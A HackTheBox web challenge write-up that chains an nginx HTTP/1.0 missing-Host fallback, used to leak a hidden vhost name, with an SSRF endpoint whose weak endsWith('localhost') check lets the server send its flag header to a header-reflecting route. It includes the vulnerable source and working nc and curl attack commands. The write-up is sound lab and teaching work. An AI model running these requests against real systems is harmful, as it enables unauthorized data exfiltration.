← Back to Writeups
HTBN/AWeb

Dusty Alleys

XESXOR8/23/20266 min read
#web#htb#n/a

Dusty Alleys

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-19 | Status: Solved Techniques: http10_host_leak, nginx_vhost_discovery, server_name_fallback, ssrf_header_exfiltration

Summary

Task: Discover a hidden nginx vhost and exploit SSRF to exfiltrate the flag. Solution: Send an HTTP/1.0 request without Host header to /think, causing nginx to fall back to server_name as $host variable and leak the secret vhost domain, then use the /guardian SSRF endpoint to fetch /think with the flag injected in the Key header.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260219_hackthebox_dusty_alleys
  • Tags: ssrf, nginx, express, vhost_enumeration, http_protocol, header_reflection, node_fetch
  • Indicators: nginx reverse proxy with multiple server blocks, unknown vhost/server_name, proxy_set_header Host $host, SSRF endpoint with hostname validation, header reflection endpoint
  • Source: 20260219_hackthebox_dusty_alleys.md

Foothold

Vulnerability / Misconfiguration

  1. Http10_host_leak
  2. Nginx_vhost_discovery
  3. Server_name_fallback
  4. Ssrf_header_exfiltration
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • http10_host_leak
  • nginx_vhost_discovery
  • server_name_fallback
  • ssrf_header_exfiltration
  • Tags: ssrf, nginx, express, vhost_enumeration, http_protocol, header_reflection, node_fetch

Original Writeup

<details><summary>Click to expand original content</summary>

Dusty Alleys — HackTheBox

Description

"In the dark, dusty underground labyrinth, the survivors feel lost and their resolve weakens. Just as despair sets in, they notice a faint light: a dilapidated, rusty robot emitting feeble sparks. Hoping for answers, they decide to engage with it."

Target: http://154.57.164.81:32496

Architecture

Two-layer setup:

  1. nginx (port 80) — reverse proxy with two virtual host server blocks:
  • alley.$SECRET_ALLEY (default_server) — serves static files at /, proxies /alley and /think to Node.js
  • guardian.$SECRET_ALLEY — proxies /guardian to Node.js
  1. Node.js Express (port 1337) — backend with three routes:
  • GET /alley — renders index page
  • GET /think — returns all received request headers as JSON (header reflection)
  • GET /guardian — SSRF endpoint: takes quote URL parameter, validates hostname ends with "localhost", fetches URL with FLAG in Key header

Key Source: routes/guardian.js

router.get("/guardian", async (req, res) => {
  const quote = req.query.quote;
  if (!quote) return res.render("guardian");
  try {
    const location = new URL(quote);
    const direction = location.hostname;
    if (!direction.endsWith("localhost") && direction !== "localhost")
      return res.send("guardian", { error: "You are forbidden from talking with me." });
  } catch (error) {
    return res.render("guardian", { error: "My brain circuits are mad." });
  }
  try {
    let result = await node_fetch(quote, {
      method: "GET",
      headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
    }).then((res) => res.text());
    res.set("Content-Type", "text/plain");
    res.send(result);
  } catch (e) {
    return res.render("guardian", { error: "The words are lost in my circuits" });
  }
});

Key Source: nginx default.conf

server {
    listen 80 default_server;
    server_name alley.$SECRET_ALLEY;
    location / { root /var/www/html/; index index.html; }
    location /alley { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... }
    location /think { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... }
}
server {
    listen 80;
    server_name guardian.$SECRET_ALLEY;
    location /guardian { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... }
}

Analysis

The Two Problems

  1. Vhost Discovery: The /guardian SSRF endpoint is only accessible through the guardian.$SECRET_ALLEY virtual host, but $SECRET_ALLEY is unknown (set at Docker build time via ENV SECRET_ALLEY=REDACTED and substituted with sed).

  2. Flag Exfiltration: Even with access to /guardian, we need to make the SSRF send a request that leaks the Key header containing the flag back to us.

Failed Approaches

  • Brute-forcing vhost name with ffuf + subdomain wordlists — the domain was too unusual
  • HTTP request smuggling (CL.TE, TE.CL, obfuscated TE) — nginx rejected all malformed requests
  • Path traversal through /alley proxy (/alley/../guardian, encoded variants) — nginx normalized all paths before proxying
  • HTTP pipelining — nginx routes each pipelined request independently using the same Host
  • WebSocket upgrade — Express didn't support it

The Key Insight: nginx $host Variable

The nginx config uses proxy_set_header Host $host;. The nginx $host variable resolves in this priority order:

  1. Hostname from the request line (for absolute-form URIs like GET http://example.com/path)
  2. The Host header value
  3. The server_name of the matching server block (fallback when neither of the above is available)

HTTP/1.0 does not require a Host header. When nginx receives an HTTP/1.0 request without a Host header, it matches the default_server block and falls back to using its server_name as the $host value — which it then forwards to the backend via proxy_set_header.

The /think endpoint reflects all received headers, so it will echo back the Host header that nginx set — revealing the full server_name including $SECRET_ALLEY.

Solution

Step 1: Leak SECRET_ALLEY via HTTP/1.0 Without Host Header

Send a raw HTTP/1.0 request to /think with no Host header:

printf 'GET /think HTTP/1.0\r\n\r\n' | nc 154.57.164.81 32496

Response:

{"host":"alley.firstalleyontheleft.com","x-real-ip":"...","x-forwarded-for":"...","x-forwarded-proto":"http","connection":"close"}

Result: SECRET_ALLEY = firstalleyontheleft.com, so the guardian vhost is guardian.firstalleyontheleft.com.

Step 2: SSRF via /guardian to Exfiltrate the Flag

With the vhost discovered, access /guardian with the correct Host header and exploit the SSRF to make the server fetch its own /think endpoint (which reflects all headers, including the injected Key header with the flag):

curl -H "Host: guardian.firstalleyontheleft.com" \
  "http://154.57.164.81:32496/guardian?quote=http://localhost:1337/think"

The attack chain:

  1. Nginx matches the guardian.firstalleyontheleft.com Host header to the second server block
  2. The /guardian route receives the request with quote=http://localhost:1337/think
  3. URL validation passes: new URL("http://localhost:1337/think").hostname is "localhost" which passes endsWith("localhost")
  4. node-fetch sends GET http://localhost:1337/think with headers: { Key: FLAG }
  5. The /think endpoint reflects ALL received headers back as JSON — including the flag

Response:

{"key":"HTB{REDACTED}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}

Lessons Learned

  1. HTTP/1.0 is a powerful recon tool — it doesn't require a Host header, which can trigger fallback behavior in web servers that reveals configuration details (server names, internal hostnames)
  2. nginx $host fallback is a real vulnerability — when no Host header is present, $host resolves to the server_name directive, potentially leaking secret vhost configurations
  3. Header reflection + SSRF = full header exfiltration — if you can make the server fetch a URL you control (or an endpoint that echoes headers), you can steal any custom headers the server injects (API keys, flags, auth tokens)
  4. endsWith() hostname validation is weak — it allows the exact string ("localhost") and any subdomain ending with it; always use strict equality or allowlists for hostname validation
  5. Two-step attack chains — sometimes the real vulnerability is only accessible after solving a prerequisite problem (vhost discovery before SSRF exploitation)
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR